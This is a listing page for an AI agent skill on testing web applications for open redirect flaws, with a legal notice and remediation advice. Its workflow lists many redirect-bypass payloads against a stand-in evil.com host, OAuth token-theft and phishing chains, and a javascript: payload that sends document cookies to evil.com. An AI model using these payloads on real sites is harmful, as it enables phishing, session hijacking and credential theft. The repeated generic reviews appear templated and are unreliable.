testing-for-open-redirect-vulnerabilities▌
mukul975/Anthropic-Cybersecurity-Skills · updated May 25, 2026
MDX-style export adds YAML metadata + attribution linking explainx.ai and this canonical listing URL.
Identify and test open redirect vulnerabilities in web applications by analyzing URL redirection parameters, bypass techniques, and exploitation chains for phishing and token theft.
| name | testing-for-open-redirect-vulnerabilities |
| description | Identify and test open redirect vulnerabilities in web applications by analyzing URL redirection parameters, bypass techniques, and exploitation chains for phishing and token theft. |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | - open-redirect - url-redirect - phishing - owasp - url-validation - redirect-bypass - unvalidated-redirect |
| version | '1.0' |
| author | mahipal |
| license | Apache-2.0 |
| nist_csf | - PR.PS-01 - ID.RA-01 - PR.DS-10 - DE.CM-01 |
Testing for Open Redirect Vulnerabilities
When to Use
- When testing login/logout flows that redirect users to specified URLs
- During assessment of OAuth authorization endpoints with redirect_uri parameters
- When auditing applications with URL parameters (next, url, redirect, return, goto, target)
- During phishing simulation to chain open redirects with credential harvesting
- When testing SSO implementations for redirect validation weaknesses
Prerequisites
- Burp Suite or OWASP ZAP for intercepting redirect requests
- Collection of open redirect bypass payloads
- External domain or Burp Collaborator for redirect confirmation
- Understanding of URL parsing and encoding schemes
- Browser with developer tools for observing redirect chains
- Knowledge of HTTP 301/302/303/307/308 redirect status codes
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Workflow
Step 1 — Identify Redirect Parameters
# Common redirect parameter names to test:
# ?url= ?redirect= ?next= ?return= ?returnUrl= ?goto= ?target=
# ?dest= ?destination= ?redir= ?redirect_uri= ?continue= ?view=
# Search for redirect parameters in the application
# Use Burp Suite to crawl and identify all parameters
# Test basic redirect
curl -v "http://target.com/login?next=https://evil.com"
curl -v "http://target.com/logout?redirect=https://evil.com"
curl -v "http://target.com/oauth/authorize?redirect_uri=https://evil.com"
Step 2 — Test Basic Open Redirect Payloads
# Direct external URL
curl -v "http://target.com/redirect?url=https://evil.com"
# Protocol-relative URL
curl -v "http://target.com/redirect?url=//evil.com"
# URL with @ symbol (userinfo abuse)
curl -v "http://target.com/redirect?url=https://[email protected]"
# Backslash-based redirect
curl -v "http://target.com/redirect?url=https://evil.com\@target.com"
# Null byte injection
curl -v "http://target.com/redirect?url=https://evil.com%00.target.com"
Step 3 — Apply Validation Bypass Techniques
# Subdomain confusion bypass
curl -v "http://target.com/redirect?url=https://target.com.evil.com"
curl -v "http://target.com/redirect?url=https://evil.com/target.com"
# URL encoding bypass
curl -v "http://target.com/redirect?url=https%3A%2F%2Fevil.com"
curl -v "http://target.com/redirect?url=%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d"
# Double URL encoding
curl -v "http://target.com/redirect?url=%2568%2574%2574%2570%253A%252F%252Fevil.com"
# Mixed case protocol
curl -v "http://target.com/redirect?url=HtTpS://evil.com"
# CRLF injection in redirect
curl -v "http://target.com/redirect?url=%0d%0aLocation:%20https://evil.com"
# JavaScript protocol
curl -v "http://target.com/redirect?url=javascript:alert(document.domain)"
# Data URI
curl -v "http://target.com/redirect?url=data:text/html,<script>alert(1)</script>"
Step 4 — Test Path-Based Redirects
# Relative path injection
curl -v "http://target.com/redirect?url=/\evil.com"
curl -v "http://target.com/redirect?url=/.evil.com"
# Path traversal with redirect
curl -v "http://target.com/redirect?url=/../../../evil.com"
# Fragment-based bypass
curl -v "http://target.com/redirect?url=https://evil.com#target.com"
# Parameter pollution for redirect
curl -v "http://target.com/redirect?url=https://target.com&url=https://evil.com"
Step 5 — Chain with Other Vulnerabilities
# Chain with OAuth for token theft
# Step 1: Find open redirect on target.com
# Step 2: Use it as redirect_uri in OAuth flow
curl -v "http://target.com/oauth/authorize?client_id=CLIENT&redirect_uri=http://target.com/redirect?url=https://evil.com&response_type=code"
# Chain with phishing
# Create convincing phishing page at evil.com
# Use open redirect: http://target.com/redirect?url=https://evil.com/login
# Victim sees target.com in the initial URL
# Chain with XSS via javascript: protocol
curl -v "http://target.com/redirect?url=javascript:fetch('https://evil.com/?c='+document.cookie)"
Step 6 — Automate Open Redirect Testing
# Use OpenRedireX for automated testing
python3 openredirex.py -l urls.txt -p payloads.txt --keyword FUZZ
# Use gf tool to extract redirect parameters from URLs
cat urls.txt | gf redirect | sort -u > redirect_params.txt
# Mass test with nuclei
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/open-redirect.yaml
# Test with ffuf
ffuf -w open-redirect-payloads.txt -u "http://target.com/redirect?url=FUZZ" -mr "Location: https://evil"
Key Concepts
| Concept | Description |
|---|---|
| Unvalidated Redirect | Application redirects to user-supplied URL without checking destination |
| URL Parsing Inconsistency | Different libraries parse URLs differently, enabling bypass |
| Protocol-Relative URL | Using // prefix to redirect while inheriting current protocol |
| Userinfo Abuse | Using @ symbol to make URL appear to belong to trusted domain |
| Open Redirect Chain | Combining multiple open redirects or chaining with other vulnerabilities |
| DOM-Based Redirect | Client-side JavaScript performing redirect using attacker-controlled input |
| Meta Refresh Redirect | HTML meta tag performing redirect without server-side 302 |
Tools & Systems
| Tool | Purpose |
|---|---|
| OpenRedireX | Automated open redirect vulnerability testing tool |
| Burp Suite | HTTP proxy for intercepting and modifying redirect parameters |
| gf (tomnomnom) | Pattern matcher to extract redirect parameters from URL lists |
| nuclei | Template-based scanner with open redirect detection templates |
| ffuf | Fuzzer for mass-testing redirect parameter payloads |
| OWASP ZAP | Automated scanner with open redirect detection |
Common Scenarios
- Phishing Amplification — Use open redirect on a trusted domain to lend credibility to phishing URLs targeting users
- OAuth Token Theft — Exploit open redirect as redirect_uri in OAuth flows to steal authorization codes and access tokens
- SSO Bypass — Redirect SSO authentication responses to attacker-controlled servers to capture session tokens
- XSS via Redirect — Chain open redirect with javascript: protocol to achieve cross-site scripting
- Referer Leakage — Use open redirect to leak sensitive tokens in Referer headers when redirecting to external sites
Output Format
## Open Redirect Assessment Report
- **Target**: http://target.com
- **Vulnerable Parameters Found**: 3
- **Bypass Techniques Required**: URL encoding, userinfo abuse
### Findings
| # | Endpoint | Parameter | Payload | Impact |
|---|----------|-----------|---------|--------|
| 1 | /login | next | //evil.com | Phishing |
| 2 | /oauth/authorize | redirect_uri | https://[email protected] | Token Theft |
| 3 | /logout | return | https://evil.com%00.target.com | Session Redirect |
### Remediation
- Implement allowlist of permitted redirect destinations
- Validate redirect URLs server-side using strict URL parsing
- Reject any redirect URL containing external domains
- Use indirect reference maps instead of direct URL parameters
How to use testing-for-open-redirect-vulnerabilities on Cursor
AI-first code editor with Composer
Prerequisites
Before installing skills in Cursor, ensure your development environment meets these requirements:
- ›Cursor installed and configured on your development machine
- ›Node.js version 16.0+ with npm package manager (verify with
node --version) - ›Active project directory or workspace where you want to add testing-for-open-redirect-vulnerabilities
Execute installation command
Execute the skills CLI command in your project's root directory to begin installation:
The skills CLI fetches testing-for-open-redirect-vulnerabilities from GitHub repository mukul975/Anthropic-Cybersecurity-Skills and configures it for Cursor.
Select Cursor when prompted
The CLI will show a list of available agents. Use arrow keys to navigate and space to select Cursor:
Verify installation
Confirm successful installation by checking the skill directory location:
Reload or restart Cursor to activate testing-for-open-redirect-vulnerabilities. Access the skill through slash commands (e.g., /testing-for-open-redirect-vulnerabilities) or your agent's skill management interface.
Security & Verification Notice
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your development environment. Always verify the publisher's identity, review recent commits, and test in isolated environments before production deployment.
List & Monetize Your Skill
Submit your Claude Code skill and start earning
Use Cases▌
Task Automation & Efficiency
Automate repetitive workflows and reduce manual effort
Example
Generate reports, summarize documents, draft communications
Save 3-5 hours per week on routine tasks
Knowledge Enhancement
Learn new skills, understand complex topics, get expert guidance
Example
Explain concepts, provide examples, suggest learning resources
Accelerate learning and skill development by 2x
Quality Improvement
Enhance output quality through reviews, suggestions, and refinements
Example
Review drafts, suggest improvements, catch errors
Improve work quality by 30-40% with less effort
Implementation Guide▌
Prerequisites
- ›Claude Desktop or compatible AI client with skill support
- ›Clear understanding of task or problem to solve
- ›Willingness to iterate and refine outputs
Time Estimate
15-45 minutes depending on use case complexity
Installation Steps
- 1.Install skill using provided installation command
- 2.Test with simple use case relevant to your work
- 3.Evaluate output quality and relevance
- 4.Iterate on prompts to improve results
- 5.Integrate into regular workflow if valuable
Common Pitfalls
- ⚠Expecting perfect results without iteration
- ⚠Not providing enough context in prompts
- ⚠Using skill for tasks outside its intended scope
- ⚠Accepting outputs without review and validation
Best Practices▌
✓ Do
- +Start with clear, specific prompts
- +Provide relevant context and constraints
- +Review and refine all outputs before using
- +Iterate to improve output quality
- +Document successful prompt patterns
✗ Don't
- −Don't use without understanding skill limitations
- −Don't skip validation of outputs
- −Don't share sensitive information in prompts
- −Don't expect skill to replace human judgment
💡 Pro Tips
- ★Be specific about desired format and style
- ★Ask for multiple options to choose from
- ★Request explanations to understand reasoning
- ★Combine AI efficiency with human expertise
When to Use This▌
✓ Use When
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid When
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
Learning Path▌
- 1Familiarize yourself with skill capabilities and limitations
- 2Start with low-risk, non-critical tasks
- 3Progress to more complex and valuable use cases
- 4Build expertise through regular use and experimentation
Discussion
Product Hunt–style comments (not star reviews)- No comments yet — start the thread.
Ratings
4.5★★★★★29 reviews- ★★★★★Dev Anderson· Dec 28, 2024
Keeps context tight: testing-for-open-redirect-vulnerabilities is the kind of skill you can hand to a new teammate without a long onboarding doc.
- ★★★★★Ganesh Mohane· Dec 24, 2024
I recommend testing-for-open-redirect-vulnerabilities for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
- ★★★★★Shikha Mishra· Dec 20, 2024
testing-for-open-redirect-vulnerabilities is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
- ★★★★★Daniel Jain· Dec 20, 2024
Registry listing for testing-for-open-redirect-vulnerabilities matched our evaluation — installs cleanly and behaves as described in the markdown.
- ★★★★★Benjamin Shah· Nov 27, 2024
I recommend testing-for-open-redirect-vulnerabilities for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
- ★★★★★Tariq Gonzalez· Nov 19, 2024
testing-for-open-redirect-vulnerabilities is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
- ★★★★★Yash Thakker· Nov 11, 2024
Keeps context tight: testing-for-open-redirect-vulnerabilities is the kind of skill you can hand to a new teammate without a long onboarding doc.
- ★★★★★Chinedu Khanna· Nov 11, 2024
testing-for-open-redirect-vulnerabilities fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
- ★★★★★Benjamin Khanna· Oct 18, 2024
testing-for-open-redirect-vulnerabilities reduced setup friction for our internal harness; good balance of opinion and flexibility.
- ★★★★★Chen Agarwal· Oct 10, 2024
testing-for-open-redirect-vulnerabilities fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
showing 1-10 of 29